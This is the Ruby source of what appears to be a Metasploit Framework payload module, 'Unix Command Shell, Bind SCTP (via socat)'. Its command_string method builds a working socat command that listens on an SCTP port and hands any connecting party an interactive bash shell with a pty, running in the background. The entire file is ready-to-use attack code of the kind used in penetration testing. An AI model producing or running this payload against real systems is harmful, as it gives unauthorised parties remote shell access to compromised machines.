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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 71
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Unix Command Shell, Bind SCTP (via socat)',
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        'Description' => 'Creates an interactive shell via socat',
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        'Author' => 'RageLtMan <rageltman[at]sempervictus>',
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Handler' => Msf::Handler::BindSctp,
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        'Session' => Msf::Sessions::CommandShell,
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        'PayloadType' => 'cmd',
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        'RequiredCmd' => 'socat',
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        'Payload' => {
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          'Offsets' => {},
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          'Payload' => ''
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        }
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      )
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    "socat sctp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
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  end
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end
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